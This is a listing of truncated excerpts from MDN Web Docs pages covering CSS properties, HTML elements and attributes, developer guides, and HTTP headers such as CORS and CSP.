t the beginning of a word are ignored. Authors should not expect capitalize to follow language-specific title casing conventions (such as skipping articles in English). The capitalize keyword was under-specified in CSS 1 and CSS 2.1. This resulted in differences between browsers in the way the first letter was calculated (Firefox considered - and _ as letters, but other browsers did not. Both
Webkit and Gecko incorrectly considered letter-based symbols like (a) to be real letters. Internet Explorer 9 was the closest to the CSS 2 definition, but with some weird cases.) By precisely defining the correct behavior, CSS Text Level 3 cleans this mess up. The capitalize line in the browser compatibility table contains the version the different engines started to support this now precisely-define...
scale() - CSS: Cascading Style Sheets
s coordinates on RP2 Cartesian coordinates on R3 Homogeneous coordinates on RP3 sx0 0sy sx000sy0001 sx000sy0001 sx0000sy0000100001 [sx 0 0 sy 0 0] Accessibility concerns Scaling/zooming animations are problematic for accessibility, as they are a common trigger for certain types of migraine. If you need to include such animations on your
website, you should provide a control to allow users to turn off animations, preferrably site-wide. Also, consider making use of the prefers-reduced-motion media feature -- use it to write a media query that will turn off animations if the user has reduced animation specified in their system preferences. Find out more: MDN Understanding WCAG, Guideline 2.3 explanations Understanding Success Cri...
transform - CSS: Cascading Style Sheets
transform functions are multiplied in order from left to right, meaning that composite transforms are effectively applied in order from right to left. none Specifies that no transform should be applied. Accessibility concerns Scaling/zooming animations are problematic for accessibility, as they are a common trigger for certain types of migraine. If you need to include such animations on your
website, you should provide a control to allow users to turn off animations, preferrably site-wide. Also, consider making use of the prefers-reduced-motion media feature -- use it to write a media query that will turn off animations if the user has reduced animation specified in their system preferences. Find out more: MDN Understanding WCAG, Guideline 2.3 explanations Understanding Success Cri...
unicode-bidi - CSS: Cascading Style Sheets
right-to-left text, the user-agent uses a complex Unicode algorithm to decide how to display the text. The unicode-bidi property overrides this algorithm and allows the developer to control the text embedding. The unicode-bidi and direction properties are the only properties that are not affected by the all shorthand. Note: This property is intended for Document Type Definition (DTD) designers.
Web designers and similar authors should not override it. /* Keyword values */ unicode-bidi: normal; unicode-bidi: embed; unicode-bidi: isolate; unicode-bidi: bidi-override; unicode-bidi: isolate-override; unicode-bidi: plaintext; /* Global values */ unicode-bidi: inherit; unicode-bidi: initial; unicode-bidi: unset; Syntax Values normal The element does not offer an additional level of embeddi...
<url> - CSS: Cascading Style Sheets
ever used in actual CSS. To alleviate the confusion, CSS Level 3 returned to the narrower, initial definition. Now, url() denotes only true <url>s. Syntax The <url> data type is specified using the url() functional notation. It may be written without quotes, or surrounded by single or double quotes. Relative URLs are allowed, and are relative to the URL of the stylesheet (not to the URL of the
web page). If you choose to write the URL without quotes, use a backslash (\) before any parentheses, whitespace characters, single quotes (') and double quotes (") that are part of the URL. <a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) Examples .topbann...
user-modify - CSS: Cascading Style Sheets
write contents. read-write-plaintext-only Same as read-write, but rich text formatting will be lost. write-only The user is able to edit the content, but not to read it. Formal definition Value not found in DB! Formal syntax Syntax not found in DB! Examples HTML <div class="readwrite">The user is able to change this text.</div> CSS .readwrite { -moz-user-modify: read-write; -
webkit-user-modify: read-write; } Specifications Not part of any standard. A similar property, user-focus, was proposed in early drafts of a predecessor of the CSS3 UI specification, but was rejected by the working group. ...
width - CSS: Cascading Style Sheets
nd-color: white; color: red; border: 1px solid black; } <div class="px_length">Width measured in px</div> <div class="em_length">Width measured in em</div> Percentage .percent { width: 20%; background-color: silver; border: 1px solid red; } <div class="percent">Width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* Safari/
WebKit uses a non-standard name */ width: -moz-max-content; /* Firefox/Gecko */ width: -
webkit-max-content; /* Chrome */ width: max-content; } <p class="maxgreen">The Mozilla community produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* Firefox */ width: -
webkit-min-content; /* Chrome */ width: min-content; } <p cl...
zoom - CSS: Cascading Style Sheets
<percentage> values */ zoom: 50%; zoom: 200%; /* <number> values */ zoom: 1.1; zoom: 0.7; /* Global values */ zoom: inherit; zoom: initial; zoom: unset; Syntax Values normal Render this element at its normal size. reset Do not (de)magnify this element if the user applies non-pinch-based zooming (e.g. by pressing Ctrl-- or Ctrl++ keyboard shortcuts) to the document. Only supported by
WebKit (and possibly Blink). <percentage> Zoom factor. 100% is equivalent to normal. Values larger than 100% zoom in. Values smaller than 100% zoom out. <number> Zoom factor. Equivalent to the corresponding percentage (1.0 = 100% = normal). Values larger than 1.0 zoom in. Values smaller than 1.0 zoom out. Formal definition Initial valuenormalApplies toall elementsInheritednoComputed valueas sp...
Cross-browser audio basics - Developer guides
ible and without any user interaction -- in short, the audio will autoplay. <audio autoplay> ... </audio> Note: This value is often ignored on mobile platforms, and its use is not recommended unless really necessary. Auto-playing audio (and video) is usually really annoying. Plus browsers have policies that will block autoplay entirely in many situations. See the Autoplay guide for media and
Web Audio APIs for details. loop The loop attribute will ensure that upon getting to the end of the audio clip, the audio clip will loop back to the beginning and start playing again. <audio loop> ... </audio> muted If you want the audio to start muted (no volume), add the muted attribute. <audio muted> ... </audio> Note: This value is often ignored on mobile platforms. preload The pr...
Block formatting context - Developer guides
It's the region in which the layout of block boxes occurs and in which floats interact with other elements. A block formatting context is created by at least one of the following: The root element of the document (<html>). Floats (elements where float isn't none). Absolutely positioned elements (elements where position is absolute or fixed). Inline-blocks (elements with display: inline-block). Table cells (elements with display: table-cell, which is the default for HTML table cells). Table captions (elements with display: table-caption, which is the default for HTML table captions). ...
Rich-Text Editing in Mozilla - Developer guides
ich-Text Editing Rich-text editing is initialized by setting the designMode property of a document to "On", such as the document inside an iframe. Once designMode has been set to "On", the document becomes a rich-text editing area and the user can type into it as if it were a textarea. The most basic keyboard commands such as copy and paste are available, all others need to be implemented by the
website. Similarly, setting contentEditable to "true" allows you to make individual elements of a document editable. Executing Commands When an HTML document has been switched to designMode, the document object exposes the document.execCommand method which allows one to run commands to manipulate the contents of the editable region. Most commands affect the document's selection (bold, italics, etc...
XHTML - Developer guides
Instead, even though the documents are written to conform to XML syntax rules, they are served with a Content-Type: text/html header -- so browsers parse those documents using HTML parsers rather than XML parsers, which can cause a variety of sometimes-very-surprising problems. The problems are described in more details in the following articles:...
Parsing and serializing XML - Developer guides
XMLSerializer Serializes DOM trees, converting them into strings containing XML. DOMParser Constructs a DOM tree by parsing a string containing XML, returning a XMLDocument or Document as appropriate based on the input data. ...
Printing - Developer guides
There may be times in which your
web site or application would like to improve the user's experience when printing content. There are a number of possible scenarios: You wish to adjust layout to take advantage of the size and shape of the paper. You wish to use different styles to enhance the appearance of your content on paper. You wish to use higher resolution images for a better result. You want to adjust the user experience of printing, such as presenting a specially-formatted version of your content before printing begins. There may be other cases in which you want to manage the printing process, but these are some of the most common scenarios. This article provides tips and techniques for helping your
web content print better. Using a print style sheet Add the followin...
The Unicode Bidirectional Text Algorithm - Developer guides
The Unicode(R) Bidirectional Algorithm (also known as the BiDi Algorithm) is part of the Unicode text standard that describes how the user agent should order characters while rendering Unicode text. Understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready
web content or apps. In this guide, we'll take a look at the BiDi Algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of HTML and CSS to which the algorithm applies while determining the order and directionality of text during rendering. Fundamentals (base direction, character types, etc) The algorithm Character level directionality Directional runs (what they are, how base directio...
HTML attribute: accept - HTML: Hypertext Markup Language
ol, and then clicking). If you only want the user to choose a single file per <input>, omit the multiple attribute. Limiting accepted file types Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select
web-compatible image formats, such as JPEG or PNG. Acceptable file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples: accept="image/png" or accept=".png" -- Accepts PNG files. accept="image/png, image/jpeg" or accept=".png, .jpg, .jpeg" -- Accept PNG or JPEG files. accept="image/*" -- Accept any file with...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
same origin. An invalid keyword and an empty string will be handled as the anonymous keyword. Example: crossorigin with the script element You can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials. <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> Example:
Webmanifest with credentials The use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin. <link rel="manifest" href="/app.
webmanifest" crossorigin="use-credentials"> Specifications Specification Status Comment HTML Living StandardThe definition of 'CORS settings attributes' in that specification. ...
Block-level elements - HTML: Hypertext Markup Language
r. <form> Input form. <h1>, <h2>, <h3>, <h4>, <h5>, <h6> Heading levels 1-6. <header> Section or page header. <hgroup> Groups header information. <hr> Horizontal rule (dividing line). <li> List item. <main> Contains the central content unique to this document. <nav> Contains navigation links. <ol> Ordered list. <p> Paragraph. <pre> Preformatted text. <section> Section of a
web page. <table> Table. <ul> Unordered list. See also Inline elements display Block and Inline Layout in Normal Flow ...
<basefont> - HTML: Hypertext Markup Language
in the same way: practically, using it has always brought indeterminate results. The <basefont> element was deprecated in the standard at the same time as all elements related to styling only. Starting with HTML 4, HTML does not convey styling information anymore (outside the <style> element or the style attribute of each element). In HTML5, this element has been removed completely. For any new
web development, styling should be written using CSS only. The former behavior of the <font> element can be achieved, and even better controlled using the CSS Fonts properties. DOM interface This element implements the HTMLBaseFontElement interface. Example <basefont color="#FF0000" face="Helvetica" size="+2" /> ...
<big>: The Bigger Text element - HTML: Hypertext Markup Language
The obsolete HTML Big Element (<big>) renders the enclosed text at a font size one level larger than the surrounding text (medium becomes large, for example). The size is capped at the browser's maximum permitted font size. Usage note: As it was purely presentational, this element has been removed in HTML5 and shouldn't be used anymore. Instead
web developers should use the CSS font-size property to adjust the font size. Attributes This element has no other attributes than the global attributes, common to all elements. Examples Here we see examples showing the use of <big> followed by an example showing how to accomplish the same results using modern CSS syntax instead. Using <big> This example uses the obsolete <big> element to increase the size of some text. HTML <p> This i...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. As the example above shows, the <fieldset> element provides a grouping for a part of an HTML form, with a nested <legend> element providing a caption for the <fieldset>. ...
<font> - HTML: Hypertext Markup Language
es the font size, color and face for its content. Usage note: Do not use this element! Though once normalized in HTML 3.2, it was deprecated in HTML 4.01, at the same time as all elements related to styling only, then made obsolete in HTML5. Starting with HTML 4, HTML does not convey styling information anymore (outside the <style> element or the style attribute of each element). For any new
web development, styling should be written using CSS only. The former behavior of the <font> element can be achieved, and even better controlled using the CSS Fonts CSS properties. Attributes Like all other HTML elements, this element supports the global attributes. color This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format. fac...
<footer> - HTML: Hypertext Markup Language
is not sectioning content and therefore doesn't introduce a new section in the outline. Examples <footer> Some copyright info or perhaps some author info for an <article>? </footer> Accessibility concerns The VoiceOver screen reader has an issue where the footer landmark role is not announced in the landmark rotor. To address this, add role="contentinfo" to the footer element.
WebKit Bugzilla: 146930 - AX: HTML native elements (header, footer, main, aside, nav) should work the same as ARIA landmarks, sometimes they don't Specifications Specification Status Comment HTML Living StandardThe definition of '<footer>' in that specification. Living Standard HTML5The definition of '<footer>' in that specification. Recommendation ...
<header> - HTML: Hypertext Markup Language
ctioning content and therefore does not introduce a new section in the outline. That said, a <header> element is intended to usually contain the surrounding section's heading (an h1-h6 element), but this is not required. Historical Usage Although the <header> element didn't make its way into specifications until HTML5, it actually existed at the very beginning of HTML. As seen in the very first
website, it was originally used as the <head> element. At some point, it was decided to use a different name. This allowed <header> to be free to fill a different role later on. Attributes This element only includes the global attributes. Examples Page Header <header> <h1>Main Page Title</h1> <img src="mdn-logo-sm.png" alt="MDN logo"> </header> Article Header <article> <header> <h2>...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
idth The amount of space in pixels between the frame's content and its left and right borders. scrolling Indicates when the browser should provide a scrollbar for the frame: auto: Only when the frame's content is larger than its dimensions. yes: Always show a scrollbar. no: Never show a scrollbar. Non-standard attributes mozbrowser See bug 1318532 for exposing this to
WebExtensions in Firefox. Makes the <iframe> act like a top-level browser window. See Browser API for details. Available only to
WebExtensions. Scripting Inline frames, like <frame> elements, are included in the window.frames pseudo-array. With the DOM HTMLIFrameElement object, scripts can access the window object of the framed resource via the contentWindow property. The contentDocument proper...
<input type="button"> - HTML: Hypertext Markup Language
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Note: While <input> elements of type button are still perfectly valid HTML, the newer <button> element is now the favored way to create buttons. ...
<input type="color"> - HTML: Hypertext Markup Language
rticular, you can't use CSS's standardized color names, or any CSS function syntax, to set the value. This makes sense when you keep in mind that HTML and CSS are separate languages and specifications. In addition, colors with an alpha channel are not supported; specifying a color in 9-character hexadecimal notation (e.g. #009900aa) will also result in the color being set to #000000. Note: Any
web browser that doesn't support an input of type color will naturally fall back to the type text. Because users can write colors in many different ways (such as rgb(255, 255, 0)), one way to work around this is to set a pattern attribute equal to either #[0-9a-f]{6} or #[0-9A-Fa-f]{6} (preferably the latter because some users may not expect a different result with just a letter-case change) and set ...
<input type="email"> - HTML: Hypertext Markup Language
epending on the characters and the font (font settings in use). This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute. Using email inputs E-mail addresses are among the most frequently-inputted textual data forms on the
web; they're used when logging into
web sites, when requesting information, to allow order confirmation, for
webmail, and so forth. As such, the email input type can make your job as a
web developer much easier since it can help simplify your work when building the user interface and logic for e-mail addresses. When you create an email input with the proper type value, email, you get automatic valida...
<input type="number"> - HTML: Hypertext Markup Language
= ''; } }); After declaring a few variables, an event listener is added to the button to control the switching mechanism. This is pretty simple, mostly involving changing over the button's class and <label>, and updating the display values of the two sets of inputs when the button is pressed. (Note that we're not converting back and forth between meters and feet/inches here, which a real-life
web application would probably do.) Note: When the user clicks the button, the required attribute(s) are removed from the input(s) we are hiding, and empty the value attribute(s). This is so the form can be submitted if both input sets aren't filled in. It also ensures that the form won't submit data that the user didn't mean to. If you didn't do this, you'd have to fill in both feet/inches and me...
<keygen> - HTML: Hypertext Markup Language
It is expected that the <keygen> element will be used in an HTML form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate. Content categories Flow content, phrasing content, interactive content, listed, labelable, submittable, resettable form-associated element, palpable content. ...
<main> - HTML: Hypertext Markup Language
ns of repeated content (main navigation, info banners, etc.). This lets the user access the main content of the page faster. Adding an id attribute to the <main> element lets it be a target of a skip navigation link. <body> <a href="#main-content">Skip to main content</a> <!-- navigation and header content --> <main id="main-content"> <!-- main page content --> </main> </body>
WebAIM: "Skip Navigation" Links Reader mode Browser reader mode functionality looks for the presence of the <main> element, as well as heading and content sectioning elements when converting content into a specialized reader view. Building
websites for Safari Reader Mode and other reading apps. Specifications Specification Status Comment HTML Living StandardThe de...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
element. A style rule may be needed to add quotation marks in older browsers. Attributes This element includes the global attributes. cite The value of this attribute is a URL that designates a source document or message for the information quoted. This attribute is intended to point to information explaining the context or the reference for the quote. Example <p>According to Mozilla's
website, <q cite="https://www.mozilla.org/about/history/details/">Firefox 1.0 was released in 2004 and became a big success.</q></p> Specifications Specification Status Comment HTML Living StandardThe definition of '<q>' in that specification. Living Standard HTML5The definition of '<q>' in that specification. Recommendation HTML ...
<script>: The Script element - HTML: Hypertext Markup Language
Content categories Metadata content, Flow content, Phrasing content. Permitted content Dynamic script such as text/javascript. Tag omission None, both the starting and ending tag are mandatory. Permitted parents Any element that accepts metadata content, or any element that accepts phrasing content. ...
<select>: The HTML Select element - HTML: Hypertext Markup Language
ted as a scrolling list box (e.g. when multiple is specified), this attribute represents the number of rows in the list that should be visible at one time. Browsers are not required to present a select element as a scrolled list box. The default value is 0. Note: According to the HTML5 specification, the default value for size should be 1; however, in practice, this has been found to break some
web sites, and no other browser currently does that, so Mozilla has opted to continue to return 0 for the time being with Firefox. Usage notes Selecting multiple options On a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: Mouse users can hold the Ctrl, Command, or Shift keys (depending on what makes sense for your operat...
<slot> - HTML: Hypertext Markup Language
Content categories Flow content, phrasing content Permitted content Transparent Events slotchange Tag omission None, both the starting and ending tag are mandatory. Permitted parents Any element that accepts phrasing content Implicit ARIA role No corresponding role Permitted ARIA roles No role permitted DOM interface HTMLSlotElement Attributes This element includes the global attributes. name The slot's name. ...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
draw attention to certain text without indicating a higher level of importance. Use the <em> element to mark text that has stress emphasis. Another accepted use for <strong> is to denote the labels of paragraphs which represent notes or warnings within the text of a page. <b> vs. <strong> It is often confusing to new developers why there are so many ways to express the same thing on a rendered
website. <b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "Should I use <b> or <strong>? Don't they both do the same thing?" Not exactly. The <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without indicating that it's more important. It may help to realize that both are valid a...
<style>: The Style Information element - HTML: Hypertext Markup Language
eatures such as viewport width. Attributes This element includes the global attributes. type This attribute defines the styling language as a MIME type (charset should not be specified). This attribute is optional and defaults to text/css if it is not specified; values other than the empty string or text/css are not used. Note: There is very little reason to include this attribute in modern
web documents. media This attribute defines which media the style should be applied to. Its value is a media query, which defaults to all if the attribute is missing. nonce A cryptographic nonce (number used once) used to whitelist inline styles in a style-src Content-Security-Policy. The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce ...
<tr>: The Table Row element - HTML: Hypertext Markup Language
attribute, which lets you specify how many columns wide the cell should be, with the default being 1. Similarly, you can use the rowspan attribute on cells to indicate they should span more than one table row. This can take a little practice to get right when building your tables. We have some examples below, but for more examples and an in-depth tutorial, see the HTML tables series in our Learn
web development area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatting for your tabular data. Attributes This element includes the global attributes. There are also several deprecated attributes, which you should avoid but may need to know when reading older code. Deprecated attributes The following attributes may still be implement...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
e this attribute, as it has been deprecated: use CSS instead. To give a similar effect as the compact attribute, the CSS property line-height can be used with a value of 80%. type This attribute sets the bullet style for the list. The values defined under HTML3.2 and the transitional version of HTML 4.0/4.01 are: circle disc square A fourth bullet type has been defined in the
WebTV interface, but not all browsers support it: triangle. If not present and if no CSS list-style-type property applies to the element, the user agent selects a bullet type depending on the nesting level of the list. Warning: Do not use this attribute, as it has been deprecated; use the CSS list-style-type property instead. Usage notes The <ul> element is for grouping a collection of ite...
accesskey - HTML: Hypertext Markup Language
here the number doesn't have a logical association with the functionality it triggers. Informing the user that accesskeys are present, so that they are aware of the functionality. If the system lacks a method of notifying the user about this feature, the user might accidentally activate accesskeys. Because of these issues, it is generally advised not to use accesskeys for most general-purpose
websites and
web apps.
WebAIM: Keyboard Accessibility - Accesskey Specifications Specification Status Comment HTML 5.2The definition of 'accesskey' in that specification. Recommendation More realistic behavior described for what is implemented in reality. HTML Living StandardThe definition of 'accesskey' in that specification. Living Standard No ...
class - HTML: Hypertext Markup Language
ements via the class selectors or functions like the DOM method document.getElementsByClassName. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Though the specification doesn't put requirements on the name of classes,
web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, attribute to describe an attribute rather than italics, although an element of this class may be presented by italics. Semantic names remain logical even if the presentation of the page changes. Specifications Specification Status Com...
dir - HTML: Hypertext Markup Language
ent semantic meaning. This attribute is not inherited by the <bdi> element. If not set, its value is auto. This attribute can be overridden by the CSS properties direction and unicode-bidi, if a CSS page is active and the element supports these properties. As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that
web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated. The auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. Browsers might allow users to change the directionali...
id - HTML: Hypertext Markup Language
pose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS). The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. This attribute's value is an opaque string: this means that
web authors should not rely on it to convey human-readable information (although having your IDs somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). Browsers treat non-conforming IDs that contain whitespace as if the whitespace is part of the ID. In contrast to the class attrib...
is - HTML: Hypertext Markup Language
al attribute allows you to specify that a standard HTML element should behave like a defined custom built-in element (see Using custom elements for more details). This attribute can only be used if the specified custom element name has been successfully defined in the current document, and extends the element type it is being applied to. Examples The following code is taken from our word-count-
web-component example (see it live also). // Create a class for the element class WordCount extends HTMLParagraphElement { constructor() { // Always call super first in constructor super(); // Constructor contents ommitted for brevity ... } } // Define the new element customElements.define('word-count', WordCount, { extends: 'p' }); <p is="word-count"></p> Specifications ...
itemprop - HTML: Hypertext Markup Language
oken. In the example below, each data cell is a token. Names examples Item itemprop name itemprop value itemprop country Ireland itemprop Option 2 itemprop https://www.flickr.com/photos/nlireland/6992065114/ Ring of Kerry itemprop img https://www.flickr.com/photos/nlireland/6992065114/ itemprop
website flickr itemprop (token) (token) Tokens are either strings or URL's. An item is called a typed item if it is a URL. Otherwise, it is a string. Strings cannot contain a period or a colon (see below). If the item is a typed item it must be either: A defined property name, or A valid URL, which refers to the vocabulary definition, or A valid URL that is use...
itemscope - HTML: Hypertext Markup Language
s When you specify the itemscope attribute for an element, a new item is created. The item consists of a group of name-value pairs. For elements with an itemscope attribute and an itemtype attribute, you may also specify an id attribute. You can use the id attribute to set a global identifier for the new item. A global identifier allows the item to relate to other items found on pages across the
Web. Example There are four itemscope attributes in the following example. Each itemscope attribute sets the scope of its corresponding itemtype attribute. The itemtypes, Recipe, AggregateRating, and NutritionInformation in the following example are part of the schema.org structured data for a recipe, as specified by the first itemtype, http://schema.org/Recipe. <div itemscope itemtype="http://sch...
translate - HTML: Hypertext Markup Language
values: empty string or "yes", which indicates that the element should be translated when the page is localized. "no", which indicates that the element must not be translated. Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that
web authors use this attribute to mark content that should not be translated. Examples In this example, the translate attribute is used to ask translation tools not to translate the company's brand name in the footer. <footer> <small>(C) 2020 <span translate="no">BrandName</span></small> </footer> Specifications Specification Status Comment HTML Living StandardThe defin...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
There may also be large incompatibilities between implementations and the behavior may change in the future. The x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via JavaScript when the key(s) are pressed on a keyboard. This proprietary property is specific to Internet Explorer and Microsoft Edge. ...
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
In the old days of the
web, pages were typically written in two versions: One for Netscape Navigator, and one for Microsoft Internet Explorer. When the
web standards were made at W3C, browsers could not just start using them, as doing so would break most existing sites on the
web. Browsers therefore introduced two modes to treat new standards compliant sites differently from old legacy sites. There are now three modes used by the layout engines in
web browsers: quirks mode, almost standards mode, and full standards mode. In quirks mode, layout emulates nonstandard behavior in Navigator 4 and Internet Explorer 5. This is essential in order to support
websites that were built before the widespread adoption of
web standards. In full standards mode, the behavior is (hopefully) the behavi...
Data URLs - HTTP
at the closing script tag is required. Encoding data into base64 format Base64 is a group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation. By consisting only in ASCII characters, base64 strings are generally url-safe, and that's why they can be used to encode data in Data URLs. Encoding in Javascript The
Web APIs have native methods to encode or decode to base64: Base64 encoding and decoding. Encoding on a Unix system Base64 encoding of a file or string on Linux and Mac OS X systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument). echo -n hello|base64 # outputs to console: aGVsbG8= echo -n hello>a.txt base64 a.txt # outputs to console: ...
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
allow any site to make CORS requests without using the * wildcard (for example, to enable credentials), your server must read the value of the request's Origin header and use that value to set Access-Control-Allow-Origin, and must also set a Vary: Origin header to indicate that some headers are being set dynamically depending on the origin. The exact directive for setting headers depends on your
web server. In Apache, add a line such as the following to the server's configuration (within the appropriate <Directory>, <Location>, <Files>, or <VirtualHost> section). The configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file. Header set Access-Control-Allow-Origin 'origin-list' For Nginx, the command to set up this head...
Reason: CORS request not HTTP - HTTP
Reason Reason: CORS request not HTTP What went wrong? CORS requests may only use the HTTPS URL scheme, but the URL specified by the request is of a different type. This often occurs if the URL specifies a local file, using a file:/// URL. To fix this problem, simply make sure you use HTTPS URLs when issuing requests involving CORS, such as XMLHttpRequest, Fetch APIs,
Web Fonts (@font-face), and
WebGL textures, and XSL stylesheets. Local File Security in Firefox 68 When a user opened a page using a file:/// URI in Firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened. Resources in the same directory and its subdirectories were treated as having the same origin for purposes of the CORS same-origin rule. In response to CVE-2019-11730, ...
CORS errors - HTTP
sn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's
web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed. Identifying the issue To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so: Navigate to the
web site or
web app in question and open the Developer Tools. Now try to r...
Accept - HTTP
elisted request header yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: 0x00-0x1F (except 0x09 (HT)), "():<>?@[\]{}, and 0x7F (DEL). Syntax Accept: <MIME_type>/<MIME_subtype> Accept: <MIME_type>/* Accept: */* // Multiple types, weighted with the quality value syntax: Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/
webp, */*;q=0.8 Directives <MIME_type>/<MIME_subtype> A single, precise MIME type, like text/html. <MIME_type>/* A MIME type, but without any subtype. image/* will match image/png, image/svg, image/gif and any other image types. */* Any MIME type ;q= (q-factor weighting) Any value used is placed in an order of preference expressed using relative quality value called the weight. Examples...
Access-Control-Allow-Credentials - HTTP
ation headers or TLS client certificates. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple GET requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to
web content. The Access-Control-Allow-Credentials header works in conjunction with the XMLHttpRequest.withCredentials property or with the credentials option in the Request() constructor of the Fetch API. For a CORS request with credentials, in order for browsers to expose the response to frontend JavaScript code, both the server (using the Access-Control-Allow-Credentials header) and the client (by...
Cache-Control - HTTP
s that aren't aware of this extension must ignore them as per the HTTP specification. In Firefox, immutable is only honored on https:// transactions. For more information, see also this blog post. Other no-transform An intermediate cache or proxy cannot edit the response body, Content-Encoding, Content-Range, or Content-Type. It therefore forbids a proxy or browser feature, such as Google's
Web Light, from converting images to minimize data for a cache store or slow connection. only-if-cached Set by the client to indicate "do not use the network" for the response. The cache should either respond using a stored response, or respond with a 504 status code. Conditional headers such as If-None-Match should not be set. There is no effect if only-if-cached is set by a server as part of a re...
CSP: child-src - HTTP
For workers, non-compliant requests are treated as fatal network errors by the user agent. CSP version 2 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the default-src directive. ...
CSP: trusted-types - HTTP
The HTTP Content-Security-Policy (CSP) trusted-types directive instructs user agents to restrict usage of known DOM XSS sinks to a predefined set of functions that only accept non-spoofable, typed values in place of strings. This allows authors to define rules guarding writing values to the DOM and thus reducing the DOM XSS attack surface to small, isolated parts of the
web application codebase, facilitating their monitoring and code review. This directive declares a white-list of trusted type policy names created with TrustedTypes.createPolicy from Trusted Types API. Syntax Content-Security-Policy: trusted-types; Content-Security-Policy: trusted-types <policyName>; Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates'; <DOMString> Any string can be a T...
ETag - HTTP
Additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). If the resource at a given URL changes, a new Etag value must be generated. A comparison of them can determine whether two representations of a resource are the same. Etags are therefore similar to fingerprints, and might also be used for tracking purposes by some servers. ...
Feature-Policy: autoplay - HTTP
document is allowed to autoplay media requested through the HTMLMediaElement interface. When this policy is enabled and there were no user gestures, the Promise returned by HTMLMediaElement.play() will reject with a DOMException. The autoplay attribute on <audio> and <video> elements will be ignored. For more details on autoplay and autoplay blocking, see the article Autoplay guide for media and
Web Audio APIs. Syntax Feature-Policy: autoplay <allowlist>; <allowlist> An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': The feature will be allowed in this document, and in all nested browsing contexts (iframe...
Feature-Policy: midi - HTTP
When this policy is enabled, the Promise returned by Navigator.requestMIDIAccess() will reject with a DOMException. Syntax Feature-Policy: midi <allowlist>; <allowlist> An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': The feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. ...
From - HTTP
should be sent, so you can be contacted if problems occur on servers, such as if the robot is sending excessive, unwanted, or invalid requests. ...
Origin - HTTP
. <hostname> The domain name of the server (for virtual hosting) or the IP. <port> Optional TCP port number on which the server is listening. If no port is given, the default port for the service requested (e.g., "80" for an HTTP URL) is implied. Examples Origin: https://developer.mozilla.org Specifications Specification Comment RFC 6454, section 7: Origin The
